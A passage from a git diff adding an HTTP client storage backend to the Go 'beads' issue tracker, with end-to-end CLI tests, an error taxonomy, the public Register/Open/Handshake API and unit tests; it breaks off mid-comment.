TestE2E_ForceConnectWritesSucceedDespiteDifferingLocalProjectID(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + addr := startE2EServer(t) // publishes e2eProjectID, unrelated to the dolt identity below. + workspace := t.TempDir() + beadsDir := filepath.Join(workspace, ".beads") + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + t.Fatalf("mkdir .beads: %v", err) + } + const ( + originalProjectID = "dolt-original-project-for-writes" + originalDatabase = "dolt-original-db-for-writes" + ) + metadataPath := filepath.Join(beadsDir, "metadata.json") + original := fmt.Sprintf(`{"backend":"dolt","database":%q,"project_id":%q}`, originalDatabase, originalProjectID) + if err := os.WriteFile(metadataPath, []byte(original), 0o600); err != nil { + t.Fatalf("write metadata.json: %v", err) + } + + forced := runBD(t, bin, workspace, nil, "connect", "http://"+addr, "--force", "--json") + if forced.code != 0 { + t.Fatalf("bd connect --force failed (exit %d): stdout=%s stderr=%s", forced.code, forced.stdout, forced.stderr) + } + + create := runBD(t, bin, workspace, nil, "create", "A title over http after forced connect", "--json") + if create.code != 0 { + t.Fatalf("bd create after forced connect failed (exit %d): stdout=%s stderr=%s", create.code, create.stdout, create.stderr) + } + if strings.Contains(create.stderr, "workspace identity mismatch") { + t.Fatalf("bd create tripped the workspace-identity-mismatch refusal despite connect having just pinned this project: stderr=%s", create.stderr) + } + id := firstJSONField(t, create.stdout, "id") + if id == "" { + t.Fatalf("bd create --json produced no id: %s", create.stdout) + } + + update := runBD(t, bin, workspace, nil, "update", id, "-a", "alice", "--json") + if update.code != 0 { + t.Fatalf("bd update after forced connect failed (exit %d): stdout=%s stderr=%s", update.code, update.stdout, update.stderr) + } + if strings.Contains(update.stderr, "workspace identity mismatch") { + t.Fatalf("bd update tripped the workspace-identity-mismatch refusal despite connect having just pinned this project: stderr=%s", update.stderr) + } + + comment := runBD(t, bin, workspace, nil, "comments", "add", id, "a comment over http after forced connect", "--json") + if comment.code != 0 { + t.Fatalf("bd comments add after forced connect failed (exit %d): stdout=%s stderr=%s", comment.code, comment.stdout, comment.stderr) + } + if strings.Contains(comment.stderr, "workspace identity mismatch") { + t.Fatalf("bd comments add tripped the workspace-identity-mismatch refusal despite connect having just pinned this project: stderr=%s", comment.stderr) + } +} + +// startE2EServer boots an in-process `bd serve` over embedded Dolt and +// returns its bound 127.0.0.1 address. It is the same role-binding shape as +// internal/httpclient's servedEnv harness, kept separate because that one is +// unexported in a different package: this test drives the CLI, not the +// internal wire client, so it owns its own (smaller) copy rather than +// reaching across the package boundary. +// +// This stays the one server topology this file uses — a real `bd serve` +// SUBPROCESS, gated on BEADS_TEST_DOLT_SERVER=local the way +// internal/testutil's local Dolt backend is elsewhere, was considered and +// rejected: +// +// 1. bd serve permanently refuses an embedded-Dolt workspace +// (cmd/bd/serve.go's serveDatabaseSource, "EMBEDDED DOLT IS PERMANENT"). +// A real `bd` subprocess pointed at a `bd init`-created workspace with no +// registered backend would therefore refuse to start at all — there is no +// bd-init-then-bd-serve shape for this backend to drive as a subprocess. +// 2. The one way around that refusal, a registered backend whose Open hands +// back a real embedded store (what cmd/bd/serve_registered_backend_test.go +// does), only exists as Go wiring injected into the SAME test process — +// registration happens at init() time, so a spawned `bd` subprocess has +// nothing registered and cannot reproduce it. That file's own comment +// reaches the identical conclusion for the identical reason. +// 3. The other way around it is a real, non-embedded Dolt SQL server behind +// "shared"/proxied mode (BEADS_DOLT_SHARED_SERVER=1, internal/testutil's +// local-or-container harness, cmd/bd/serve_proxied_integration_test.go's +// startServe). That subprocess `bd serve` lifecycle contract — the bound +// address on stdout's first line, signal-driven shutdown, the auth +// posture warnings — is already pinned end to end there, against exactly +// that topology. Reproducing it a second time in this package would +// stand up a second real Dolt SQL server fixture per run to re-test the +// same `bd serve` CLI plumbing that package already owns, not anything +// specific to the public backend/http door this package exists to prove. +// +// What this e2e tier specifically has to show — bd connect, then full CRUD, +// actually working end to end over the wire against a real listening server +// — is exactly what the in-process httpapi.Listen harness below proves: it +// is the identical httpapi.Config / Listen / Serve call bd serve's own +// serveListen makes, bound to a real TCP socket a real `bd` binary dials +// unmodified. A real `bd serve` subprocess on top of that would add only +// coverage of serve's own flag parsing and workspace-source resolution, +// which belongs to (and is already owned by) cmd/bd/serve_test.go and +// cmd/bd/serve_proxied_integration_test.go. +func startE2EServer(t *testing.T) string { + t.Helper() + return startE2EServerWithIdentity(t, e2eProjectID, e2eDatabase) +} + +// startE2EServerWithIdentity is startE2EServer, parameterized on the identity +// the in-process server publishes at handshake. MED-5's reconnect-mismatch +// test needs a SECOND server that answers with a DIFFERENT project id than +// the one a prior `bd connect` already pinned, to prove the pin is honored +// rather than silently replaced. +func startE2EServerWithIdentity(t *testing.T, projectID, database string) string { + t.Helper() + beadsDir := t.TempDir() + ctx := context.Background() + reference, err := embeddeddolt.Open(ctx, beadsDir, database, "main") + if err != nil { + t.Fatalf("open the reference store: %v", err) + } + t.Cleanup(func() { _ = reference.Close() }) + if err := reference.SetConfig(ctx, "issue_prefix", "e2e"); err != nil { + t.Fatalf("set the issue prefix: %v", err) + } + + cfg := e2eServeConfig(t, reference, projectID, database) + srv, err := httpapi.Listen(cfg) + if err != nil { + t.Fatalf("bind the in-process server: %v", err) + } + serveCtx, cancel := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { defer close(done); _ = srv.Serve(serveCtx) }() + t.Cleanup(func() { + cancel() + select { + case <-done: + case <-time.After(30 * time.Second): + t.Error("the in-process server did not shut down") + } + }) + return srv.Addr() +} + +func e2eServeConfig(t *testing.T, s storage.DoltStorage, projectID, database string) httpapi.Config { + t.Helper() + cfg := httpapi.Config{ + Addr: "127.0.0.1:0", + Stdout: io.Discard, + Stderr: io.Discard, + Workspace: domain.ContextInfo{ProjectID: projectID, Database: database}, + } + var err error + fail := func(name string) { + t.Helper() + if err != nil { + t.Fatalf("%s(): %v", name, err) + } + } + cfg.Reader, err = s.IssueReader() + fail("IssueReader") + cfg.Claimer, err = s.IssueClaimer() + fail("IssueClaimer") + cfg.ReadyClaimer, err = s.ReadyClaimer() + fail("ReadyClaimer") + cfg.Releaser, err = s.Releaser() + fail("Releaser") + cfg.Lifecycle, err = s.IssueLifecycle() + fail("IssueLifecycle") + cfg.Settings, err = s.WorkspaceConfig() + fail("WorkspaceConfig") + cfg.Stats, err = s.StatsReporter() + fail("StatsReporter") + cfg.CycleDetector, err = s.CycleDetector() + fail("CycleDetector") + cfg.EdgeReader, err = s.EdgeReader() + fail("EdgeReader") + cfg.GraphCounter, err = s.GraphCounter() + fail("GraphCounter") + cfg.BatchGetter, err = s.BatchGetter() + fail("BatchGetter") + cfg.LeaseReclaimer, err = s.LeaseReclaimer() + fail("LeaseReclaimer") + cfg.Relations, err = s.IssueRelations() + fail("IssueRelations") + cfg.Commenter, err = s.Commenter() + fail("Commenter") + cfg.BlockingAnnotator, err = s.BlockingAnnotator() + fail("BlockingAnnotator") + cfg.TreeWalker, err = s.TreeWalker() + fail("TreeWalker") + cfg.ReadyCounter, err = s.ReadyCounter() + fail("ReadyCounter") + cfg.Counter, err = s.Counter() + fail("Counter") + cfg.Querier, err = s.Querier() + fail("Querier") + cfg.Sweeper, err = s.Sweeper() + fail("Sweeper") + cfg.Deleter, err = s.Deleter() + fail("Deleter") + cfg.BatchCreator, err = s.BatchCreator() + fail("BatchCreator") + cfg.BatchCloser, err = s.BatchCloser() + fail("BatchCloser") + cfg.DependencyEditor, err = s.DependencyEditor() + fail("DependencyEditor") + cfg.MetadataCAS, err = s.MetadataCAS() + fail("MetadataCAS") + cfg.BatchApplier, err = s.BatchApplier() + fail("BatchApplier") + cfg.Memories, err = s.Memories() + fail("Memories") + return cfg +} + +// skipUnlessEmbeddedDolt mirrors internal/httpclient's gate: this tier needs +// the cgo-linked embedded engine, and BEADS_HTTP_TEST_REQUIRED=1 is how the +// served-surface lane says that tier is mandatory rather than best-effort. +func skipUnlessEmbeddedDolt(t *testing.T) { + t.Helper() + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") == "1" { + return + } + if os.Getenv("BEADS_HTTP_TEST_REQUIRED") == "1" { + t.Fatal("BEADS_HTTP_TEST_REQUIRED=1 but BEADS_TEST_EMBEDDED_DOLT is not 1; the http e2e tier is not enforced") + } + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run the http backend e2e tier") +} + +type bdResult struct { + stdout, stderr string + code int +} + +// runBD shells the built bd binary out in dir, the same subprocess pattern +// test/conformance's e2e runner uses, kept local here so this tier has no +// dependency on that package's unexported helpers. +func runBD(t *testing.T, bin, dir string, env []string, args ...string) bdResult { + t.Helper() + cmd := exec.Command(bin, args...) + cmd.Dir = dir + cmd.Env = minimalBDEnv(dir, env...) + var o, e strings.Builder + cmd.Stdout, cmd.Stderr = &o, &e + err := cmd.Run() + code := 0 + if err != nil { + if ee, ok := err.(*exec.ExitError); ok { + code = ee.ExitCode() + } else { + t.Fatalf("running bd %s: %v", strings.Join(args, " "), err) + } + } + return bdResult{stdout: o.String(), stderr: e.String(), code: code} +} + +// minimalBDEnv builds a hermetic environment for a bd subprocess, the same +// sanitizing shape cmd/bd's own proxied-integration harness uses +// (bdProxiedEnv): PATH plus the few variables a Go binary needs to start, +// HOME repointed at dir rather than the real one, and nothing BEADS_* +// carried over from whatever invoked `go test`. A stray BEADS_DIR or +// BEADS_HTTP_TOKEN* exported in this process's own environment must never +// leak into a workspace this test means to fully control — this harness +// ran the full os.Environ() through unfiltered before, which a credential +// or workspace-override variable set in the ambient shell could silently +// have reached. extra layers on top (a test case's own deliberate override), +// so it is applied last and wins any collision. +func minimalBDEnv(dir string, extra ...string) []string { + env := []string{ + "HOME=" + dir, + "BD_DISABLE_METRICS=1", + "BD_DISABLE_EVENT_FLUSH=1", + } + for _, key := range []string{"PATH", "TMPDIR", "SYSTEMROOT", "WINDIR"} { + if v, ok := os.LookupEnv(key); ok { + env = append(env, key+"="+v) + } + } + return append(env, extra...) +} + +// jsonIDSet collects every top-level "id" field out of a bd --json array +// response (bd ready among others), for the containment checks a real +// assertion needs rather than firstJSONField's single-match convenience. +func jsonIDSet(t *testing.T, out string) map[string]bool { + t.Helper() + var rows []map[string]any + if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &rows); err != nil { + t.Fatalf("parse JSON array output: %v\n%s", err, out) + } + ids := make(map[string]bool, len(rows)) + for _, row := range rows { + if id, ok := row["id"].(string); ok { + ids[id] = true + } + } + return ids +} + +// jsonIntField pulls one numeric top-level field out of a bd --json object +// response (bd count's {"count": N}). +func jsonIntField(t *testing.T, out, field string) int64 { + t.Helper() + var generic map[string]any + if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &generic); err != nil { + t.Fatalf("parse JSON output for field %q: %v\n%s", field, err, out) + } + v, ok := generic[field].(float64) + if !ok { + t.Fatalf("field %q missing or not numeric in: %s", field, out) + } + return int64(v) +} + +// firstJSONField pulls one string-valued top-level field out of a bd --json +// response, tolerating the schema_version envelope some commands wrap their +// payload in and the bare-object shape others return directly. +func firstJSONField(t *testing.T, out, field string) string { + t.Helper() + var generic any + if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &generic); err != nil { + t.Fatalf("parse JSON output for field %q: %v\n%s", field, err, out) + } + return findField(generic, field) +} + +func findField(v any, field string) string { + switch m := v.(type) { + case map[string]any: + if s, ok := m[field].(string); ok { + return s + } + for _, nested := range []string{"data", "issue"} { + if inner, ok := m[nested]; ok { + if s := findField(inner, field); s != "" { + return s + } + } + } + case []any: + for _, item := range m { + if s := findField(item, field); s != "" { + return s + } + } + } + return "" +} + +// lastJSONLine parses the final non-blank line of stderr as JSON, matching +// reportIfRevisionFailure's own documented contract ("the JSON body is the +// LAST line on stderr"). +func lastJSONLine(t *testing.T, stderr string) map[string]any { + t.Helper() + lines := strings.Split(strings.TrimRight(stderr, "\n"), "\n") + for i := len(lines) - 1; i >= 0; i-- { + line := strings.TrimSpace(lines[i]) + if line == "" { + continue + } + var body map[string]any + if err := json.Unmarshal([]byte(line), &body); err == nil { + return body + } + t.Fatalf("last stderr line is not JSON: %q\nfull stderr:\n%s", line, stderr) + } + t.Fatalf("stderr had no non-blank line to parse:\n%s", stderr) + return nil +} + +var ( + buildBDOnce sync.Once + bdBinPath string + bdBuildErr error + bdBinOwnBuild bool // true only on the go-build-from-source path; false for Bazel's prebuilt binary. +) + +// buildBD builds the bd binary once per test process, matching the +// gms_pure_go embedded-engine tag used throughout cmd/bd's own CLI tests +// (e.g. cmd/bd/create_deps_atomic_test.go). Under Bazel there is no module +// tree to build from, so the prebuilt test binary is used instead. +// +// The binary is shared, via buildBDOnce, across every test in this package +// that calls buildBD — that sharing is the whole point, one build instead of +// one per test. Cleanup therefore cannot be a per-call t.Cleanup: the first +// caller to win the Once race would be the first test to finish, and its +// Cleanup would delete the binary every LATER test in the same process still +// needs (exactly what happened before this comment existed — the second and +// third test to call buildBD got "no such file or directory" because the +// first test's Cleanup had already removed it). TestMain below owns deleting +// it exactly once, after every test in the package has finished with it. +func buildBD(t *testing.T) string { + t.Helper() + buildBDOnce.Do(func() { + if bazeltest.IsBazel() { + bdBinPath, bdBuildErr = bazeltest.PrebuiltBD() + return + } + dir, err := os.MkdirTemp(os.Getenv("TMPDIR"), "bd-http-e2e") + if err != nil { + bdBuildErr = fmt.Errorf("mkdir temp for bd binary: %w", err) + return + } + bin := filepath.Join(dir, "bd-http-e2e") + cmd := exec.Command("go", "build", "-tags", "gms_pure_go", "-o", bin, "./cmd/bd") + cmd.Dir = e2eRepoRoot() + if out, err := cmd.CombinedOutput(); err != nil { + bdBuildErr = fmt.Errorf("build bd: %w\n%s", err, out) + _ = os.RemoveAll(dir) + return + } + bdBinPath = bin + bdBinOwnBuild = true + }) + if bdBuildErr != nil { + t.Fatal(bdBuildErr) + } + return bdBinPath +} + +// TestMain exists for exactly one reason: to delete the temp directory +// buildBD's go-build-from-source path creates, once, after every test in +// this package has had its turn with the shared binary inside it. See +// buildBD's doc comment for why a per-test t.Cleanup cannot do this job. +func TestMain(m *testing.M) { + code := m.Run() + if bdBinOwnBuild && bdBinPath != "" { + _ = os.RemoveAll(filepath.Dir(bdBinPath)) + } + os.Exit(code) +} + +func e2eRepoRoot() string { + _, file, _, _ := runtime.Caller(0) // /backend/http/e2e_cli_test.go + return filepath.Dir(filepath.Dir(filepath.Dir(file))) +} diff --git a/backend/http/errors.go b/backend/http/errors.go new file mode 100644 index 000000000..610391c94 --- /dev/null +++ b/backend/http/errors.go @@ -0,0 +1,111 @@ +package bdhttp + +import ( + "github.com/steveyegge/beads/internal/httpclient" + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// The refusal taxonomy, re-exported so an embedder can CLASSIFY what this +// backend answers rather than match its text. +// +// Every name here is an alias of the internal one, so errors.Is and +// errors.As reach the same values across the module boundary. Two audiences +// need that: the host application deciding whether a failure is the user's, +// the server's or the wiring's, and any surface that renders it, since these +// types carry the server URL, its release and its advertised capabilities +// precisely so a renderer parses nothing. + +// ErrNoTransport reports a process that registered this backend without +// installing a transport. It is a build-wiring fault, not a user's: the +// workspace and the server may both be fine. Register cannot produce it — it +// installs the transport itself — so meeting it means something reached the +// registry another way (for example a test double that calls +// backends.Register directly). +var ErrNoTransport = httpclient.ErrNoTransport + +// The store's own refusals. A method this backend does not serve returns +// UnsupportedError, which unwraps to the portable storage.ErrUnsupported, so +// the classification a caller already does for a local backend holds +// unchanged. +type ( + // UnsupportedError is what every refused method of this backend returns: a + // STRUCT, reached with errors.As, carrying the server it refused on, that + // server's release and the capabilities it does advertise. It unwraps to + // the portable storage.ErrUnsupported, so a caller that only wants "this + // backend cannot do that" matches the same sentinel it would for a local + // store and needs none of these fields. + UnsupportedError = httpclient.ErrHTTPUnsupported + // InexpressibleError is a request carrying a field the v0 wire has no + // member for. It is both an unsupported-operation refusal and an encoder + // refusal, because two audiences classify it, and errors.As reaches either + // arm. + InexpressibleError = httpclient.InexpressibleError + // PartialIDSearchError answers a substring or prefix id lookup, which no + // server operation serves. The input may be a partial id OR a full id that + // does not exist, and the client cannot tell which, so the refusal names + // both outcomes. + PartialIDSearchError = httpclient.PartialIDSearchError + // WatchRefusedError refuses a `--watch`-style polling loop, which + // amplifies load on a shared server with no change detection to justify + // it. + WatchRefusedError = httpclient.WatchRefusedError + // RedactedSettingError reports a setting whose value the server withheld + // because its key marks it credential-bearing. It is not an unset key: one + // says the workspace stores nothing, the other says the workspace stores + // something this client may not see. + RedactedSettingError = httpclient.RedactedSettingError +) + +// The class sentinels behind those types, for a caller that classifies +// without reaching for fields. +var ( + ErrPartialIDSearch = httpclient.ErrPartialIDSearch + ErrWatchUnsupported = httpclient.ErrWatchUnsupported + ErrSettingRedacted = httpclient.ErrSettingRedacted +) + +// The wire's own refusals, which reach a caller through Open, Handshake and +// every dispatch a store makes. +type ( + // ProjectMismatchError is the wrong-server diagnostic: the server + // answered, and it owns a different workspace. It names both project ids + // AND the server's own database and repo root, because "the ids differ" + // does not say WHICH wrong server answered — and on a shared host that is + // the question. + ProjectMismatchError = wire.ProjectMismatchError + // APIVersionError reports a server on a path major this client cannot + // address. It names both versions, because neither alone says which side + // to move. + APIVersionError = wire.APIVersionError + // CapabilityError reports an operation the server does not advertise. It + // is how version skew is told apart from a missing entity: an unrouted + // path on an older server answers a bare 404, indistinguishable from + // not_found, so the advertised list is consulted before the dial. + CapabilityError = wire.CapabilityError + // ProblemError is a refusal the server described: its status, its + // problem code, and the typed discriminators it carries. Unwrap reaches + // the sentinel below that the code maps to. + ProblemError = wire.ProblemError +) + +var ( + ErrProjectMismatch = wire.ErrProjectMismatch + ErrAPIVersion = wire.ErrAPIVersion + ErrCapabilityAbsent = wire.ErrCapabilityAbsent + + // ErrUnauthenticated is the credential the server refused. The error + // names which ladder rung held it — a provenance label, never the + // credential — so an operator knows what to rotate. + ErrUnauthenticated = wire.ErrUnauthenticated + ErrBadRequest = wire.ErrBadRequest + ErrInvalidCursor = wire.ErrInvalidCursor + ErrBusy = wire.ErrBusy + ErrDBUnavailable = wire.ErrDBUnavailable + ErrServerFault = wire.ErrServerFault +) + +// ProjectMismatchRecovery is the one action that resolves a wrong-server +// mismatch: point the workspace back at the server that owns it (re-run +// `bd connect`). There is no local database to reconcile, so the repair +// tooling a local backend would name does not apply. +const ProjectMismatchRecovery = wire.ProjectMismatchRecovery diff --git a/backend/http/http.go b/backend/http/http.go new file mode 100644 index 000000000..cddbbab2d --- /dev/null +++ b/backend/http/http.go @@ -0,0 +1,216 @@ +// Package bdhttp is the public door to the http client store that ships +// inside this module (internal/httpclient) — the storage backend that speaks +// the v0 `bd serve` wire to a remote server — for embedders that link beads +// as a library rather than running cmd/bd. +// +// Such an embedder cannot reach the store any other way, for the reason its +// (hypothetical) postgres sibling would document: the registry facade's +// Register takes a backends.Backend value whose constructors live in an +// internal package, and the only other production wiring is cmd/bd's. Without +// this package a workspace whose .beads/metadata.json names "http" is a +// workspace an embedder can only tombstone. +// +// # Registration is two-step, and that is why Register takes Options +// +// Putting "http" in the registry is not enough to open anything: the store +// dials through a process-wide transport constructor that registration does +// not install on its own, so a binary that registered and stopped there would +// fail every open with httpclient.ErrNoTransport — a build-wiring fault, not a +// workspace or server problem. Register does both: it adds "http" to the +// registry AND installs the default dialer, and it installs a per-open +// OpenWith hook so a multi-tenant embedder (for example gc, Gas City — one +// process serving many workspaces, called "cities") can route a distinct +// credential through backends.OpenOptions / beads.OpenBestAvailableWith for +// each workspace it opens, without the process-wide dialer being asked to +// serve two tenants with one fixed credential. +// +// # Stability +// +// EXPERIMENTAL, on the same terms as the backend package this sits beside. +// Pin an exact beads version. +package bdhttp + +import ( + "context" + "net/http" + + "github.com/steveyegge/beads/backend" + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient" + "github.com/steveyegge/beads/internal/storage/backends" +) + +// UserAgentSuffix identifies this backend inside a stamped User-Agent, so a +// server log line says both which binary and which client spoke to it. An +// embedder that stamps its own build joins the two the way cmd/bd does: +// "myapp/1.4.2 " + bdhttp.UserAgentSuffix. +const UserAgentSuffix = httpclient.WireUserAgentSuffix + +// Options configures the transport Register installs and Open/Handshake dial +// with. +// +// The zero value is usable and is what the CLI's own wiring amounts to: the +// built-in bearer credential ladder, this module's default User-Agent, and +// the standard http transport. +type Options struct { + // UserAgent identifies the embedding build on every request. Empty sends + // UserAgentSuffix alone, which names the backend but not the binary. + UserAgent string + // HTTPClient replaces the transport — a tuned timeout, a proxy, a custom + // TLS config, an httptest server in a test. Nil builds one. The client is + // used as given except for redirect handling, which the underlying wire + // client always forces off: a followed 30x would replay the Authorization + // header at whatever host the Location named. + HTTPClient *http.Client + // RequireCredential makes the registered backend's OpenWith seam refuse a + // registered open with no OpenOptions.Credential, rather than silently + // falling back to the ambient bearer ladder (BEADS_HTTP_TOKEN, + // BEADS_HTTP_TOKEN_COMMAND, the credentials file). It has no effect on + // Open/Handshake below, or on the plain Open/OpenReadOnly path a + // single-tenant CLI process uses: both keep the ambient ladder as their + // documented, legitimate posture. + // + // Set this when every caller through beads.OpenBestAvailableWith is a + // multi-tenant embedder for which ambient, process-global credential + // state can never safely stand in for one workspace's own — see + // httpclient.ResolveCredential and backends.OpenOptions.Credential's own + // doc comment. + RequireCredential bool +} + +// Register adds the http store to the backend registry under the name "http" +// AND installs the transport it dials with, so a workspace whose +// metadata.json selects the backend opens instead of failing with +// httpclient.ErrNoTransport. +// +// The EMBEDDER calls this explicitly at process start, on the same terms as +// cmd/bd's own wiring: registration is a property of the distribution being +// built, not of the import graph. A plain `go build` of an OSS binary that +// imports this package only transitively, and never calls Register, gains no +// selectable "http" backend — metadata.json naming it still hard-fails with +// the registry's UnknownBackendError, exactly as before this package existed. +// +// Register panics on a duplicate registration, like any process-start wiring +// error, so it must have exactly one production call site. Call it once, +// before any concurrent store access. +func Register(opts Options) { + base := httpclient.DialOptions{UserAgent: opts.UserAgent, HTTPClient: opts.HTTPClient} + backends.Register(httpclient.Backend, backends.Backend{ + Open: httpclient.NewFromConfig, + OpenReadOnly: httpclient.NewReadOnlyFromConfig, + WorkspaceIsBeadsDir: true, + Remote: true, + OpenWith: func(ctx context.Context, beadsDir string, bopts backends.OpenOptions) (backend.DoltStorage, error) { + return httpclient.OpenWith(ctx, beadsDir, bopts, base, opts.RequireCredential) + }, + }) + httpclient.RegisterDefaultDialer(base) +} + +// Open dials target and returns a store for it, with no workspace on disk. +// +// It is the door for an embedder that already knows its server — from its own +// configuration, or minted per tenant — and would otherwise have to write a +// .beads directory for the sole benefit of a registry lookup. Registration is +// not required and does not affect it: Open dials fresh from the Options it is +// handed, using the same built-in bearer ladder Open/OpenReadOnly use (see +// Options.RequireCredential's doc for why a per-tenant credential belongs on +// the registry's OpenWith seam instead, via beads.OpenBestAvailableWith). +// +// The store carries no local metadata file, which is benign: the two +// per-user keys it would hold read as unset and write nowhere. +func Open(ctx context.Context, target Target, opts Options) (backend.DoltStorage, error) { + dialOpts := httpclient.DialOptionsForTarget(target, httpclient.DialOptions{UserAgent: opts.UserAgent, HTTPClient: opts.HTTPClient}) + creds := httpclient.NewBearerProvider(target.BaseURL) + conn, err := httpclient.DialWith(target, creds, dialOpts) + if err != nil { + return nil, err + } + return httpclient.New(target, conn, nil), nil +} + +// Handshake dials target once and returns its startup snapshot, applying the +// two gates a store applies: api_version equality and, when the target pins +// one, project identity. +// +// It is the pre-connect probe: `bd connect` verifies a server before it +// writes anything, and it has to do that without opening a store, because the +// workspace it is about to describe may not select this backend yet. A +// mismatch comes back as *ProjectMismatchError, which names both ids plus the +// server's own database and repo root. +// +// It dials with the same credentials Open would, so a probe can never verify +// a server the store then cannot reach. +func Handshake(ctx context.Context, target Target, opts Options) (*ServerSnapshot, error) { + dialOpts := httpclient.DialOptionsForTarget(target, httpclient.DialOptions{UserAgent: opts.UserAgent, HTTPClient: opts.HTTPClient}) + // httpclient.Handshake dials via httpclient.Dial, which binds the same + // built-in bearer ladder (httpclient.NewBearerProvider) Open uses above — + // "the same credentials Open would use" holds without restating the dial + // here. + body, err := httpclient.Handshake(ctx, target, dialOpts) + if err != nil { + return nil, err + } + return newServerSnapshot(body), nil +} + +// ServerSnapshot is what a server says about itself at handshake, curated for +// this door. +// +// It is a struct of its own rather than an alias of the wire document, and +// the omissions are the point. The wire type is GENERATED from the OpenAPI +// spec, so aliasing it would make a codegen bump — a field renamed, a member +// added — a breaking change to a published Go API, decided by a document +// nobody edits with that in mind. And the document carries facts an embedder +// has no business depending on: the server's own filesystem paths, its +// storage mode, its logical database name, the CLI's JSON schema version. +// Those are the operator's, and several are host paths a multi-tenant caller +// should not be holding at all. +// +// What remains is what a client actually decides with: Capabilities is the +// field it decides with (an operation is available because the server +// advertises its token, never because a version string looked new enough), +// and WireRevision is the revision the handshake already checked against +// this client's own compiled one before returning a snapshot at all. +type ServerSnapshot struct { + // APIVersion is the path major the server serves. The handshake already + // refused anything this client cannot address, so on a returned snapshot + // this is confirmation rather than a branch. + APIVersion string + // BdVersion is the release of the serving binary. Diagnostic and + // human-facing: branch on Capabilities, not on this. + BdVersion string + // WireRevision is the server's own wire_revision counter (see + // ContextResponse.WireRevision). The wire handshake itself refuses a + // server this client build predates (a wire_revision or + // min_client_wire_revision above wire.ClientWireRevision) before any + // snapshot is returned, so on a returned snapshot this is exposed for + // diagnostics, not a branch. + WireRevision int + // ProjectID is the workspace identity the server owns. When the Target + // pinned one, the handshake has already proved they match. + ProjectID string + // Capabilities are the operation tokens the server implements. The list + // grows additively and an operation never appears unless it is fully + // implemented, which is what makes membership the right question. + Capabilities []string +} + +// newServerSnapshot maps the wire document onto the curated one. +// +// The capability slice is copied because the document it comes from is a +// pointer INTO the wire client's cached handshake, which every later dispatch +// reads to decide what the server can serve, and whose documented contract is +// that the caller treats it as read-only. +func newServerSnapshot(body *apigen.ContextResponse) *ServerSnapshot { + if body == nil { + return nil + } + return &ServerSnapshot{ + APIVersion: body.ApiVersion, + BdVersion: body.BdVersion, + WireRevision: body.WireRevision, + ProjectID: body.ProjectId, + Capabilities: append([]string(nil), body.Capabilities...), + } +} diff --git a/backend/http/open_test.go b/backend/http/open_test.go new file mode 100644 index 000000000..994124714 --- /dev/null +++ b/backend/http/open_test.go @@ -0,0 +1,235 @@ +package bdhttp_test + +// Adapted from bd-enterprise backend/http/open_test.go under the MIT +// contribution: TestOpenNeedsNoWorkspaceOnDisk, the ServerSnapshot field-set +// drift guard, TestHandshakeReportsAWrongServer, and the activation sidecar +// round trip carry the same reasoning. Dropped or reshaped for OSS: the +// Credentials-hook tests (OSS Open/Handshake dial through the built-in bearer +// ladder only — see Options.RequireCredential's doc — there is no per-call +// hook to assert on here), ServerInfo / lazy ServerContext (the OSS Store +// does not expose that interface), and ServerSnapshot's field set itself, +// which follows DESIGN.txt exactly (WireRevision in place of the ORM-backed +// field bd-enterprise used). No bd-enterprise-specific wording carries over. + +import ( + "context" + "errors" + "net/http" + "net/url" + "path/filepath" + "reflect" + "testing" + + bdhttp "github.com/steveyegge/beads/backend/http" +) + +// TestOpenNeedsNoWorkspaceOnDisk is the programmatic door's reason to exist. +// An embedder that already knows the server — it read the URL from its own +// config, or minted a per-tenant one — has no .beads directory to point the +// registry at, and creating one just to open a store would be a file written +// for the benefit of a lookup. +func TestOpenNeedsNoWorkspaceOnDisk(t *testing.T) { + hermeticEnv(t) + t.Setenv(bdhttp.TokenEnv, "127.0.0.1=direct-token") + server := newRecordingServer(t) + + store, err := bdhttp.Open(context.Background(), server.target(t), bdhttp.Options{HTTPClient: server.Client()}) + if err != nil { + t.Fatalf("Open: %v", err) + } + t.Cleanup(func() { _ = store.Close() }) + + got, err := store.GetMetadata(context.Background(), "_project_id") + if err != nil { + t.Fatalf("GetMetadata: %v", err) + } + if got != projectID { + t.Errorf("project id = %q, want %q", got, projectID) + } + server.wantAuthorization(t, "Bearer direct-token") +} + +// TestOpenWithoutRegistrationStillDials pins the independence of the two +// doors: Open dials from the Options it is handed, with no dependence on +// Register ever having run. +func TestOpenWithoutRegistrationStillDials(t *testing.T) { + hermeticEnv(t) + t.Setenv(bdhttp.TokenEnv, "127.0.0.1=unregistered") + server := newRecordingServer(t) + + store, err := bdhttp.Open(context.Background(), server.target(t), bdhttp.Options{HTTPClient: server.Client()}) + if err != nil { + t.Fatalf("Open without Register: %v", err) + } + t.Cleanup(func() { _ = store.Close() }) + + if _, err := store.GetMetadata(context.Background(), "_project_id"); err != nil { + t.Fatalf("GetMetadata: %v", err) + } + server.wantAuthorization(t, "Bearer unregistered") +} + +// TestHandshakeVerifiesBeforeAnythingIsWritten is the connect path's probe. A +// caller about to record a server has to be able to check it first, and doing +// that by opening a store would mean describing a workspace before knowing +// whether the server behind it is the right one. +func TestHandshakeVerifiesBeforeAnythingIsWritten(t *testing.T) { + hermeticEnv(t) + server := newRecordingServer(t) + + snapshot, err := bdhttp.Handshake(context.Background(), server.target(t), bdhttp.Options{HTTPClient: server.Client()}) + if err != nil { + t.Fatalf("Handshake: %v", err) + } + if snapshot.ProjectID != projectID { + t.Errorf("project id = %q, want %q", snapshot.ProjectID, projectID) + } + if snapshot.BdVersion != "9.9.9" { + t.Errorf("bd_version = %q, want the server's own", snapshot.BdVersion) + } + if snapshot.APIVersion != "v0" { + t.Errorf("api_version = %q, want the major this client speaks", snapshot.APIVersion) + } + if snapshot.WireRevision != 1 { + t.Errorf("wire_revision = %d, want the server's own", snapshot.WireRevision) + } + if len(snapshot.Capabilities) != 2 || snapshot.Capabilities[0] != "issues.get" { + t.Errorf("capabilities = %v, want the server's advertised list", snapshot.Capabilities) + } +} + +// TestServerSnapshotExportsNoHostFacts is the drift guard on the curated +// snapshot, and it is a guard rather than a comment because the thing it 